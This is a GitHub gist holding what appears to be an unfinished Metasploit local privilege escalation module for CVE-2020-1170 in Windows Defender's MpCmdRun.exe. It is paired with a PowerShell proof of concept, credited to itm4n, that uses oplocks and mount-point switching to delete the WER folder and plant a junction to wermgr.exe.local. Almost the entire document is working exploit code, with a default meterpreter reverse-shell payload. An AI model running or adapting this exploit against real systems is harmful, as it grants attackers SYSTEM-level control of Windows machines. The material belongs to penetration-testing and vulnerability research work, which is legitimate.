Skip to content

Instantly share code, notes, and snippets.

@gwillcox-r7
Created July 13, 2020 20:20
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save gwillcox-r7/419efc54568ae809eaf47843f058cadb to your computer and use it in GitHub Desktop.
Save gwillcox-r7/419efc54568ae809eaf47843f058cadb to your computer and use it in GitHub Desktop.
Windows Defender CVE-2020-1170 LPE Work Archive
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE # Needed for generate_payload_dll
include Msf::Post::Windows::FileSystem
include Msf::Post::Windows::FileInfo # Needed to retrieve info on the file version for MpCmdRun.exe
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::FileDropper
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Defender MpCmdRun.log Arbitrary Folder Deletion Local Privilege Escalation',
'Description' => %q{
This module exploits CVE-2020-1170, an arbitrary folder deletion vulnerability in Windows Defender's
MpCmdRun.exe binary on MpCmdRun.exe versions prior to 4.18.2005.1 to delete the folder at XXXX. This then
allows an attacker to do XXXX, which grants them code execution as the SYSTEM user. Note that this module
will not work if another AV is installed on the target as this will disable Windows Defender.
},
'License' => MSF_LICENSE,
'Author' =>
[
'itm4n', # Original bug finder
'gwillcox-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Privileged' => true,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-06-09',
'References' =>
[
['CVE', '2020-1170'],
['URL', 'https://itm4n.github.io/cve-2020-1170-windows-defender-eop/'],
['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'],
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 900
}
)
)
register_options(
[
OptString.new('WritableDir', [ true, 'The location of a directory the current user can write to', "C:\\Windows\\Temp\\" ]),
OptInt.new('WaitTime', [ true, 'Number of seconds to wait for background file writes to complete before clearing the WER directory', 30 ]),
]
)
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
end
mprun_file_version = file_version('C:\\Program Files\\Windows Defender\\MpCmdRun.exe')
mprun_file_version.pop # Remove last element, the branch. We aren't interested in it.
gem_version_mpfile = Gem::Version.new(mprun_file_version.join('.')) # Taken from https://stackoverflow.com/questions/4018689/ruby-combining-an-array-into-one-string
print_status("Version #{gem_version_mpfile} of MpCmdRun.exe detected on target!")
if gem_version_mpfile >= Gem::Version.new('4.18.2005.1')
return CheckCode::Safe
end
signature_update_command_result = cmd_exec('powershell -c "Get-MpComputerStatus"')
if signature_update_command_result =~ /800106BA/ # Error code 0x800106BA occurs when another security product is installed according
# to https://answers.microsoft.com/en-us/windows/forum/windows_vista-security/windows-defender-error-0x800106ba/0e2f4e98-4e5f-4991-8994-0f8c80784547
print_error('The target has an outdated version of MpCmdRun.exe installed but they have another AV installed.')
return CheckCode::Safe
end
print_good('Target appears to have an outdated version of MpCmdRun.exe that is being actively used.')
return CheckCode::Appears
end
def launch_background_injectable_notepad_and_migrate
print_status('Launching notepad to continue executing PowerShell commands to write to the file without things failing...')
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
session.migrate(process.pid)
process.pid
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
session.migrate(process.pid)
process.pid
end
def make_directory_junction(original_directory, target_directory)
print_status('Creating the directory junction...')
junction_creation_result = cmd_exec("cmd.exe /C \"mklink /J #{original_directory} #{target_directory}\"")
if junction_creation_result =~ /Junction created/
print_good('Junction was successfully created!')
return 1
elsif junction_creation_result =~ /file already exists/ # If the file already exists on the target...
return 2
else
print_error("Directory junction failed. Error code was (#{junction_creation_result['GetLastError']}): #{junction_creation_result['ErrorMessage']}")
return -1
end
end
def delete_existing_mpcmdrun_file_or_folder
mpcmdrun_path = 'C:\\Windows\\Temp\\MpCmdRun.log.bak'
result_file_deletion = rm_f(mpcmdrun_path) # Then we try to delete it as a file....
if result_file_deletion['GetLastError'] == 0
print_good("Deleted the already existing #{mpcmdrun_path} folder on the target successfully!")
return true
end
result_junction_deletion = rm_rf(mpcmdrun_path) # And as a directory junction or folder...
if result_junction_deletion['GetLastError'] == 0
print_good("Deleted the already existing #{mpcmdrun_path} file on the target successfully!")
return true
end
print_error("Looks like the #{mpcmdrun_path} file/folder already exists on this target, and we can't delete it.")
print_error("Error code (#{result_junction_deletion['GetLastError']}): #{result_junction_deletion['ErrorMessage']}")
return false
end
def move_folders_out_of_wer
relocation_dir = "#{datastore['WritableDir']}\\#{Rex::Text.rand_text_alpha(6..13)}"
print_status(relocation_dir)
print_status("Making the temp folder which will house the folders that we move out of the WER directory...")
mkdir(relocation_dir)
register_dir_for_cleanup(relocation_dir)
print_status("cd'ing to relocation directory and relocating the folders...")
cd(relocation_dir)
print_status("After CD...")
# I was going to use rename_file here but it doesn't forcibly move folders when we run it under a Meterpreter session.
# So yeah this is hacky but it works much more reliably and is the same command that rename_file does for Windows sessions,
# its just me forcing it to do it for Meterpreter as a workaround. Feel free to fix this up if Meterpreter does eventually
# get fixed to address this issue.
cmd_exec("cmd.exe /C \"move /Y C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive .")
cmd_exec("cmd.exe /C \"move /Y C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue .")
cmd_exec("cmd.exe /C \"move /Y C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp .")
print_status("Changing directory back to the writable directory...")
cd(datastore['WritableDir'])
end
def exploit
ntapipath = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-1170', 'NtApiDotNet.dll')
powershell_file_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-1170', "DefenderArbitraryFileDelete.ps1")
ntapi_target_file_path = datastore['WritableDir'] + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll"
powershell_target_file_path = datastore['WritableDir'] + "\\" + Rex::Text.rand_text_alpha(6..13) + ".ps1"
print_status("Uploading the PowerShell file that will run the main exploit along with the DLL to support its operations...")
upload_file(ntapi_target_file_path, ntapipath)
upload_file(powershell_target_file_path, powershell_file_path)
register_file_for_cleanup(ntapi_target_file_path)
register_file_for_cleanup(powershell_target_file_path)
print_status("Moving folders out of C:\\ProgramData\\Microsoft\\Windows\\WER so that we can delete the folder...")
move_folders_out_of_wer # Move subdirectories out of C:\ProgramData\Microsoft\Windows\WER\
# so that it can be successfully deleted.
# Taken from @itm4n's PoC code and his exploit from https://github.com/itm4n/CVEs/blob/master/CVE-2020-1170/DefenderArbitraryFileDelete.ps1
command_to_execute = "powershell -ep bypass -c \". #{powershell_target_file_path}; DoMain -TargetFolder 'C:\\ProgramData\\Microsoft\\Windows\\WER' -NtApiDLLPath '#{ntapi_target_file_path}' -BaitFilePath '#{Rex::Text.rand_text_alpha(6..13)}.txt'\""
print_status(command_to_execute.to_s)
print_status("Triggering the vulnerability, this usually takes about 40 to 60 minutes to complete...")
result = cmd_exec(command_to_execute, nil, 3600)
if result =~ /success/
print_good("Successfully triggered the arbitrary file deletion vulnerability!")
elsif result =~ /fail/
fail_with(Failure::UnexpectedReply,"Failed to trigger the arbitrary file deletion vulnerability!")
else
print_error("Unknown error occurred whilst trying to run the PowerShell script!")
print(result.to_s)
end
print_status("Sleeping for #{datastore['WaitTime']} seconds to ensure any extra operations on the WER directory go through before we try and clear it up.")
sleep(datastore['WaitTime'])
print_status("Moving folders out of C:\\ProgramData\\Microsoft\\Windows\\WER so that it can be turned into a directory junction...")
move_folders_out_of_wer # Move subdirectories out of C:\ProgramData\Microsoft\Windows\WER\
# so that it can be turned into a junction directory.
print_status("Creating the directory junction...")
junction_directory_command = "powershell -ep bypass -c \". #{powershell_target_file_path}; CreateDirectoryJunction -NtApiDLLPath '#{ntapi_target_file_path}'\""
junction_directory_result = cmd_exec(junction_directory_command)
if junction_directory_result =~ /0xC0000101/
fail_with(Failure::UnexpectedReply,"Looks like the folder wasn't emptied so we couldn't create the directory junction...")
elsif junction_directory_result =~ /0xC000/
fail_with(Failure::UnexpectedReply, junction_directory_result)
end
print_status(junction_directory_result)
print_status('All done!')
end
end
# Taken from https://github.com/itm4n/CVEs/blob/master/CVE-2020-1170/DefenderArbitraryFileDelete.ps1 with minor modifications made where needed for Metasploit.
# All credits go to @itm4n for this PowerShell script!
# Testing
# powershell -ep bypass -c ". .\DefenderArbitraryFileDelete.ps1; DoMain -TargetFolder 'C:\ZZ_SANDBOX\WER'"
# Real
# powershell -ep bypass -c ". .\DefenderArbitraryFileDelete.ps1; DoMain -TargetFolder 'C:\ProgramData\Microsoft\Windows\WER'
$JobCode = {
function DoMpCmdRunLogFileWriteTriggerJob {
[CmdletBinding()] param()
for ($i=0; $i -lt 15000; $i++) {
Update-MpSignature -UpdateSource InternalDefinitionUpdateServer
}
}
}
function DoMain {
[CmdletBinding()] param(
[Parameter(Mandatory=$True)][string] $TargetFolder,
[Parameter(Mandatory=$True)][string] $NtApiDLLPath,
[Parameter(Mandatory=$True)][string] $BaitFileName,
)
$TimeoutInMinutes = 90
$StartDate = Get-Date
$Success = $False
$TargetFolderPath = Resolve-Path -Path $TargetFolder -ErrorAction Stop
if (-not [System.IO.Directory]::Exists($TargetFolderPath)) {
Write-Host "[-] Target folder doesn't exist." -ForegroundColor Red
return
}
### Load NtApiDotNet
Import-Module "$NtApiDLLPath" -ErrorAction "Stop"
Write-Host "[*] Loaded '$NtApiDLLPath'"
### Prepare workspace
# Create workspace directory
$WorkspaceFolderPath = Join-Path -Path $env:TEMP -ChildPath $([Guid]::NewGuid())
$Null = New-Item -Path $WorkspaceFolderPath -ItemType Directory
# Fake target folder
$TargetFolderName = Split-Path -Path $TargetFolderPath -Leaf
$TargetFolderParent = Split-Path -Path $TargetFolderPath -Parent
$FakeTargetFolderPath = Join-Path -Path $WorkspaceFolderPath -ChildPath $TargetFolderName
$Null = New-Item -Path $FakeTargetFolderPath -ItemType Directory
# Fake directory structure
Get-ChildItem -Path $TargetFolderPath -ErrorAction Stop | ForEach-Object {
$Path = Join-Path -Path $FakeTargetFolderPath -ChildPath $_.Name
if ([System.IO.Directory]::Exists($_.FullName)) {
$Null = New-Item -Path $Path -ItemType Directory
} else {
$Null = New-Item -Path $Path -ItemType File
}
}
### Prepare bait file
$BaitFolderPath = Join-Path -Path $WorkspaceFolderPath -ChildPath "0000"
$Null = New-Item -Path $BaitFolderPath -ItemType Directory
$BaitFilePath = Join-Path -Path $BaitFolderPath -ChildPath "$BaitFileName"
$Null = New-Item -Path $BaitFilePath -ItemType File
### Create fake MpCmdRun.log.bak as a mountpoint to our workspace
# Create folder
$MpCmdRunBakFolderPath = Join-Path -Path $([System.Environment]::GetEnvironmentVariable('TEMP','Machine')) -ChildPath "MpCmdRun.log.bak"
$Null = New-Item -Path $MpCmdRunBakFolderPath -ItemType Directory -ErrorAction SilentlyContinue -ErrorVariable $ErrorNewItem
if (-not $ErrorNewItem) {
### Set MpCmdRun.log.bak folder as a mountpoint to our fake folder
[NtApiDotNet.NtFile]::CreateMountPoint("\??\$MpCmdRunBakFolderPath", "\??\$WorkspaceFolderPath", $null)
Write-Host "[*] Mountpoint: '\??\$($MpCmdRunBakFolderPath)' --> '\??\$($WorkspaceFolderPath)'"
### Set oplock on bait file
$BaitNtFile = [NtApiDotNet.NtFile]::Open("\??\$BaitFilePath", $null, [NtApiDotNet.FileAccessRights]::ReadAttributes, [NtApiDotNet.FileShareMode]::All, [NtApiDotNet.FileOpenOptions]::None)
$BaitOpLockTask = $BaitNtFile.OplockExclusiveAsync()
Write-Host "[*] OpLock set on '\??\$($BaitFilePath)'"
### Start MpCmdRun.log file write trigger
Write-Host "[*] Starting log file write job."
$LogFileWriteJob = Start-Job -InitializationScript $JobCode -ScriptBlock { DoMpCmdRunLogFileWriteTriggerJob }
### Monitor OpLock in a loop until success or timeout
# If oplock triggered, switch mountpoint
Write-Host "[*] Waiting for the OpLock to be triggered (timeout=$($TimeoutInMinutes) min)..."
While ($True) {
# Timeout?
$CurrentDate = Get-Date
$TimeSpan = New-TimeSpan -Start $StartDate -End $CurrentDate
$TimeRemaining = [Math]::Floor($TimeoutInMinutes - $TimeSpan.TotalMinutes)
if ($TimeSpan.TotalMinutes -gt $TimeoutInMinutes) {
Write-Host "[!] Operation timed out"
break
}
# Check OpLock
if ($BaitOpLockTask.IsCompleted) {
# Once the oplock is hit, immediately stop all jobs...we don't need to do any more writing.
if ($LogFileWriteJob) {
Stop-Job -Job $LogFileWriteJob
}
Write-Host "[+] OpLock triggered! Switching mount point." -ForegroundColor Green
[NtApiDotNet.NtFile]::DeleteReparsePoint("\??\$MpCmdRunBakFolderPath") | Out-Null
[NtApiDotNet.NtFile]::CreateMountPoint("\??\$MpCmdRunBakFolderPath", "\??\$TargetFolderParent", $null)
Write-Host "[*] Mountpoint: '\??\$($MpCmdRunBakFolderPath)' --> '\??\$($TargetFolderParent)'"
Write-Host "[*] Releasing OpLock."
$BaitNtFile.AcknowledgeOplock([NtApiDotNet.OplockAcknowledgeLevel]::No2)
Start-Sleep -Seconds 2
if (-not (Test-Path -Path $TargetFolderPath)) {
$Success = $True
Write-Host "[*] Target directory '$($TargetFolderPath)' was removed."
} else {
Write-Host "[!] Target directory '$($TargetFolderPath)' wasn't removed."
}
break
}
Start-Sleep -Seconds 5
}
if ($BaitNtFile) {
$BaitNtFile.Close()
}
} else {
Write-Host "[-] Failed to create directory '$($MpCmdRunBakFolderPath)'" -ForegroundColor Red
}
if ($Success) {
$ElapsedTime = New-TimeSpan -Start $StartDate -End $(Get-Date)
#
# Calls to WER based on the Add-Type Win32 API calling method described at
# https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-1/
#
# Type definitions taken in part from MSDN documentation as well as from
# http://www.pinvoke.net/default.aspx/wer.WerReportSubmit and http://www.pinvoke.net/default.aspx/wer.WerReportCreate
#
$MethodDefinition = @'
public enum WER_REPORT_TYPE
{
WerReportNonCritical,
WerReportCritical,
WerReportApplicationCrash,
WerReportApplicationHange,
WerReportKernel,
WerReportInvalid
}
public enum WER_CONSENT
{
WerConsentAlwaysPrompt = 4,
WerConsentApproved = 2,
WerConsentDenied = 3,
WerConsentMax = 5,
WerConsentNotAsked = 1
}
[DllImport("wer.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public extern static int WerReportCreate(string pwzEventType, WER_REPORT_TYPE repType, IntPtr pReportInformation, ref IntPtr phReportHandle);
[DllImport("wer.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public extern static int WerReportSubmit(IntPtr hReportHandle, int consent, int dwFlags, ref IntPtr pSubmitResult);
'@
Add-Type -MemberDefinition $MethodDefinition -Name 'WER' -Namespace 'Win32' -PassThru
$handle = 0 # Need to create the variable for the ref, so lets add this in so long.
if( ([Win32.WER]::WerReportCreate("A",[Win32.WER+WER_REPORT_TYPE]::WerReportNonCritical, 0, [ref] $handle)) -ne 0 ){ # 0 in third argument is for blank pReportInformation
Write-Host "[-] Exploit failed. Couldn't create the report" -ForegroundColor Red
}
$result = 999 # Need to create the variable for the ref, so set it to a random value of 999.
if( [Win32.WER]::WerReportSubmit($handle, 1, 164, [ref]$result) -ne 0){ # 1 = WerConsentNotAsked, 36 = WER_SUBMIT_QUEUE | WER_SUBMIT_OUTOFPROCESS | WER_SUBMIT_ARCHIVE_PARAMETERS_ONLY
Write-Host "[-] Exploit failed. Couldn't submit the report" -ForegroundColor Red
}
if ($result -ne 1){
Write-Host "[-] Exploit failed. Report wasn't queued" -ForegroundColor Red
}
Write-Host "[+] Exploit successful! Elapsed time: $($ElapsedTime.ToString())." -ForegroundColor Green
} else {
Write-Host "[-] Exploit failed." -ForegroundColor Red
}
### Cleanup
Start-Sleep -Seconds 2
if ([System.IO.Directory]::Exists($WorkspaceFolderPath)) {
Remove-Item -Path $WorkspaceFolderPath -Recurse -Force -ErrorAction SilentlyContinue
}
if ([System.IO.Directory]::Exists($MpCmdRunBakFolderPath)) {
Remove-Item -Path $MpCmdRunBakFolderPath -Recurse -Force -ErrorAction SilentlyContinue
}
}
function CreateDirectoryJunction {
[CmdletBinding()] param(
[Parameter(Mandatory=$True)][string] $NtApiDLLPath
)
### Load NtApiDotNet
Import-Module "$NtApiDLLPath" -ErrorAction "Stop"
[NtApiDotNet.NtFile]::CreateMountPoint("\??\c:\programdata\microsoft\windows\wer", "\??\c:\windows\system32\wermgr.exe.local", $null)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment